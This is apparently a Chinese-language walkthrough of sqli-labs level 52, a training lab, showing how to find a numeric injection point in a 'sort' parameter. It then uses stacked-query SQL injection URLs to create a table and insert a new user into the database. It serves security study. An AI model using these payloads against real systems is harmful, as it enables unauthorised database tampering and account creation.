sqli-labs (less-52)
进入52关,输入sort=1
http://127.0.0.1/sql1/Less-52/?sort=1'
因为无错误回显,我们我们只能去猜闭合方式
http://127.0.0.1/sql1/Less-52/?sort=1--+ #回显正常
http://127.0.0.1/sql1/Less-52/?sort=1'--+ #回显错误
所以判断这里为数字型注入
因为这里没有完整错误回显,所以这里我们只能使用时间盲注,但是在本关中使用了mysgli multi guery()函数,而在less46-49关中使用了mysqL fetch_assoc()函数,所以这里我们也可以使用堆叠注入攻击,时间盲注的方法我在less-46已经详细讲过,这里就不介绍,这里我介绍堆叠注入攻击
新建一张表
http://127.0.0.1/sql1/Less-52/?sort=1;create table test like users;--+
新建一个用户
http://127.0.0.1/sql1/Less-52/?sort=1;insert into users values(18,'icepeak','icepeak');--+